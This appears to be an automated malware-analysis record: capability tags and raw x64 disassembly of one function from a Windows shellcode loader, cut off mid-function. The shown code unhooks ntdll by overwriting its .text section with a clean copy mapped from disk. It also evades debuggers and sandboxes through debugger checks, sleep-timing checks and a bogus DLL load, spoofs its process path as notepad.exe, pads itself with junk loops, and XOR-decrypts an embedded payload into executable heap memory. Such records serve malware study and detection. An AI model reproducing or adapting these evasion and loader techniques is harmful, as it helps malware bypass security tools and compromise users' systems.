Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x948
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x8b0], xmm6
mov dword [rbp + 0x8f0], ecx
mov qword [rbp + 0x8f8], rdx
call fcn.140002bb0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x838], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x830], rax
mov dword [rbp + 0x8a4], 0
mov ecx, 0x1560
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x828], rax
mov dword [rbp + 0x8ac], 0
jmp 0x14000154f
mov dword [rbp + 0x8a8], 0
jmp 0x14000153f
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xfef11fd
shr rdx, 0x20
sar edx, 8
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1011
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x8ac]
cdqe
imul rcx, rax, 0xe4
mov rax, qword [rbp + 0x828]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x8a8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x8a8], 1
cmp dword [rbp + 0x8a8], 0x38
jle 0x1400014e3
add dword [rbp + 0x8ac], 1
cmp dword [rbp + 0x8ac], 0x17
jle 0x1400014d7
mov dword [rbp + 0x8ac], 0
jmp 0x1400015cb
mov dword [rbp + 0x8a8], 0
jmp 0x1400015bb
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x8a4]
mov eax, dword [rbp + 0x8ac]
cdqe
imul rdx, rax, 0xe4
mov rax, qword [rbp + 0x828]
add rdx, rax
mov eax, dword [rbp + 0x8a8]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x8a4], eax
add dword [rbp + 0x8a8], 1
cmp dword [rbp + 0x8a8], 0x38
jle 0x140001574
add dword [rbp + 0x8ac], 1
cmp dword [rbp + 0x8ac], 0x17
jle 0x140001568
mov rax, qword [rbp + 0x828]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x820], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x898], rax
cmp qword [rbp + 0x898], 0
jne 0x140001667
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x898], rax
cmp qword [rbp + 0x898], 0
je 0x1400019fb
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x670]
mov rax, qword [rbp + 0x820]
mov r10, qword [rbp + 0x898]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x670]
mov qword [rbp + 0x818], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x810], rax
mov rax, qword [rbp + 0x810]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x808], rax
mov rax, qword [rbp + 0x808]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x800], rax
mov rax, qword [rbp + 0x818]
mov qword [rbp + 0x7f8], rax
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x818]
add rax, rdx
mov qword [rbp + 0x7f0], rax
mov word [rbp + 0x896], 0
jmp 0x1400019e3
mov rax, qword [rbp + 0x7f0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7f0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x896]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7e8], rax
mov dword [rbp + 0x7e4], 1
mov ecx, 0x8f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d8], rax
mov qword [rbp + 0x888], 2
jmp 0x14000182c
mov rax, qword [rbp + 0x888]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x888], 1
cmp qword [rbp + 0x888], 0x23d
jbe 0x140001805
mov qword [rbp + 0x888], 2
jmp 0x1400018c3
mov rax, qword [rbp + 0x888]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400018bb
mov rax, qword [rbp + 0x888]
mov qword [rbp + 0x880], rax
jmp 0x1400018a4
mov rax, qword [rbp + 0x888]
imul rax, qword [rbp + 0x880]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x880], 1
mov rax, qword [rbp + 0x888]
imul rax, qword [rbp + 0x880]
cmp rax, 0x23d
jbe 0x140001875
add qword [rbp + 0x888], 1
cmp qword [rbp + 0x888], 0x23d
jbe 0x140001846
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7e8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400019d2
mov dword [rbp + 0x634], 0
mov rax, qword [rbp + 0x7e8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x818]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x634]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7e8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7e8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x800]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x818]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x634]
mov rax, qword [rbp + 0x7e8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x818]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x634]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x896]
add eax, 1
mov word [rbp + 0x896], ax
mov rax, qword [rbp + 0x7f0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x896], ax
jb 0x1400017a1
mov dword [rbp + 0x87c], 0x2da
jmp 0x140001a0e
sub dword [rbp + 0x87c], 1
cmp dword [rbp + 0x87c], 0
jg 0x140001a07
mov dword [rbp + 0x63c], 0
mov rax, qword [rbp + 0x838]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7d0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x640]
lea rax, [rbp + 0x63c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x7d0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov ecx, 0x1fe0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c8], rax
mov ecx, 0x1fe0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c0], rax
mov ecx, 0x1fe0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b8], rax
mov dword [rbp + 0x878], 0
jmp 0x140001b8e
mov dword [rbp + 0x874], 0
jmp 0x140001b7a
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x878]
cdqe
imul rcx, rax, 0xcc
mov rax, qword [rbp + 0x7c8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x874]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x878]
cdqe
imul rcx, rax, 0xcc
mov rax, qword [rbp + 0x7c0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x874]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0x32
jle 0x140001ac9
add dword [rbp + 0x878], 1
cmp dword [rbp + 0x878], 0x27
jle 0x140001aba
mov dword [rbp + 0x878], 0
jmp 0x140001c47
mov dword [rbp + 0x874], 0
jmp 0x140001c33
mov eax, dword [rbp + 0x878]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x7c8]
add rdx, rax
mov eax, dword [rbp + 0x874]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x878]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x7c0]
add rdx, rax
mov eax, dword [rbp + 0x874]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x878]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x7b8]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x874]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0x32
jle 0x140001bb6
add dword [rbp + 0x878], 1
cmp dword [rbp + 0x878], 0x27
jle 0x140001baa
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x648]
add rax, 0x3c
mov qword [rbp + 0x7b0], rax
mov dword [rbp + 0x870], 0xffffffff
mov ecx, 0x7d8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a8], rax
mov ecx, 0x7d8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a0], rax
add dword [rbp + 0x870], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x870]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x870]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x870]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7a0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003ba0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x870], 0xf9
jle 0x140001cbf
mov rax, qword [rbp + 0x7b0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x7b0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x638], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x798], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x638]
mov r8, qword [rbp + 0x798]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x638]
cmp eax, 1
je 0x140002ae2
lea rax, str.lqnewsdtnjqe.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x790], rax
cmp qword [rbp + 0x790], 0
jne 0x140002ae2
mov dword [rbp + 0x630], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x630]
mov r8, qword [rbp + 0x788]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x630]
cmp eax, 1
je 0x140002ae2
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x778], rax
cmp qword [rbp + 0x778], 0
jne 0x140002ae2
mov dword [rbp + 0x774], 0x300
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
call rax
mov dword [rbp + 0x764], eax
mov eax, dword [rbp + 0x774]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x768]
call rax
mov dword [rbp + 0x760], eax
mov eax, dword [rbp + 0x760]
sub eax, dword [rbp + 0x764]
cmp eax, 0x2ce
jbe 0x140002ae2
mov dword [rbp + 0x75c], 0x345
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
call rax
mov dword [rbp + 0x74c], eax
mov eax, dword [rbp + 0x75c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x750]
call rax
mov dword [rbp + 0x748], eax
mov eax, dword [rbp + 0x748]
sub eax, dword [rbp + 0x74c]
cmp eax, 0x313
jbe 0x140002ae2
mov qword [rbp + 0x740], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x738]
mov r9d, 0x3000
mov r8d, 0x31d
mov edx, 0
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
je 0x140002ae2
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x730], rax
cmp qword [rbp + 0x730], 0
je 0x140002ae2
mov rax, qword [rbp + 0x730]
mov edx, 0x54f
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x72c], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
call rax
mov dword [rbp + 0x71c], eax
mov ecx, 0x33a
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x720]
call rax
mov dword [rbp + 0x718], eax
mov eax, dword [rbp + 0x718]
sub eax, dword [rbp + 0x71c]
cmp eax, 0x308
jbe 0x140002ae2
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
je 0x140002ae2
mov rax, qword [rbp + 0x710]
mov edx, 0x489
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x70c], eax
lea rax, [rbp + 0x100]
lea rdx, [0x140006148]
mov ecx, 0xa5
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov ecx, 0x7c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x700], rax
mov dword [rbp + 0x86c], 0
jmp 0x140002265
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006678]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x86c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x700]
add rax, rdx
movsd xmm1, qword [0x140006680]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0xf7
jle 0x140002217
mov dword [rbp + 0x86c], 0
jmp 0x1400022cf
mov eax, dword [rbp + 0x86c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x700]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x86c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x700]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0xf7
jle 0x14000227d
mov rax, qword [rbp + 0x830]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x830]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f8]
mov r8d, 0
mov edx, 0x52c
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov r9, qword [rbp + 0x6f0]
mov r8d, 0x52c
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x838]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov ecx, 0x890
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d0], rax
mov ecx, 0x890
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
mov ecx, 0x890
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov ecx, 0x890
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b8], rax
mov dword [rbp + 0x864], 0x223
mov dword [rbp + 0x868], 0
jmp 0x140002474
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x868]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x868]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6c8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x868], 1
cmp dword [rbp + 0x868], 0x223
jle 0x1400023e1
mov dword [rbp + 0x868], 0
jmp 0x140002513
mov eax, dword [rbp + 0x864]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov edx, dword [rbp + 0x868]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6c0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x864]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
mov edx, dword [rbp + 0x868]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6b8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x864], 1
add dword [rbp + 0x868], 1
cmp dword [rbp + 0x868], 0x223
jle 0x140002493
mov rax, qword [rbp + 0x6d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6b8]
mov rcx, rax
call sub.msvcrt.dll_free
lea rdx, [rbp + 0x100]
mov rax, qword [rbp + 0x6e0]
mov r9, qword [rbp + 0x6d8]
mov r8d, 0x52c
mov rcx, rax
call r9
mov dword [rbp + 0x860], 0
mov dword [rbp + 0x85c], 0
mov dword [rbp + 0x858], 0
movabs rax, 0x877de30769bf7223
movabs rdx, 0xb2a64e2fde78ff5e
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x5c469f9889e9a98a
movabs rdx, 0x688fb2fbe531bc7a
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x1f31b4344964aad1
movabs rdx, 0x1adb1a32d343674
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x2b81cb2122c47989
movabs rdx, 0xe0df2bd5cc85ab79
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x888bf81bd0a67672
movabs rdx, 0xe11231e702d4fa1f
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xc78ae11231e702d4
movabs rdx, 0x2b6f54eda1d3f2
mov qword [rbp + 0x6a], rax
mov qword [rbp + 0x72], rdx
movabs rax, 0xe6a5e262b240c08
movabs rdx, 0xa7ef4ec59b2ea7fc
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x42565c01c86f279
movabs rdx, 0xbf5486b2952b7c8
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xe8489a335a379b1a
movabs rdx, 0xa1d7fd92550a1528
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x4cf730f08f1f1d28
movabs rdx, 0xf2c453ae634b2e5
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xa95b172f9474a6af
movabs rdx, 0x63c5703c41f809ee
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xed2d1954caa1c6d5
movabs rdx, 0x5ff69d049a3640d1
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xb4ee77a0200153f7
movabs rdx, 0xb517f1637d335a87
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x758ac29bfdf5a4
mov qword [rbp + 0xf0], rax
jmp 0x1400027c0
cmp dword [rbp + 0x85c], 0x76
jne 0x140002787
mov eax, dword [rbp + 0x860]
cdqe
movzx edx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x85c]
cdqe
movzx eax, byte [rbp + rax + 0x80]
xor edx, eax
mov eax, dword [rbp + 0x860]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x85c], 0
jmp 0x1400027b9
mov eax, dword [rbp + 0x860]
cdqe
movzx edx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x85c]
cdqe
movzx eax, byte [rbp + rax + 0x80]
xor edx, eax
mov eax, dword [rbp + 0x860]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x85c], 1
add dword [rbp + 0x860], 1
mov eax, dword [rbp + 0x860]
cmp eax, 0x58
jbe 0x140002747
mov dword [rbp + 0x860], 0
mov dword [rbp + 0x854], 0x82
mov dword [rbp + 0x850], 0x1ea
jmp 0x14000280d
mov eax, dword [rbp + 0x854]
cmp eax, dword [rbp + 0x850]
jle 0x140002806
sub dword [rbp + 0x854], 1
jmp 0x14000280d
sub dword [rbp + 0x850], 1
cmp dword [rbp + 0x854], 0
jg 0x1400027ef
jmp 0x140002a49
cmp dword [rbp + 0x858], 0x58
jne 0x140002871
mov eax, dword [rbp + 0x860]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x858]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x860]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x858], 0
jmp 0x1400029e9
mov dword [rbp + 0x844], 0
mov ecx, 0x5dd8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x84c], 0
jmp 0x140002910
mov dword [rbp + 0x848], 0
jmp 0x140002900
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x3651b0db
shr rdx, 0x20
sar edx, 9
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x96d
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x84c]
cdqe
imul rcx, rax, 0x134
mov rax, qword [rbp + 0x698]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x848]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x4c
jle 0x1400028a4
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x4d
jle 0x140002898
mov dword [rbp + 0x84c], 0
jmp 0x14000298c
mov dword [rbp + 0x848], 0
jmp 0x14000297c
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x844]
mov eax, dword [rbp + 0x84c]
cdqe
imul rdx, rax, 0x134
mov rax, qword [rbp + 0x698]
add rdx, rax
mov eax, dword [rbp + 0x848]
cdqe
movss xmm0, dword [rdx + rax*4]
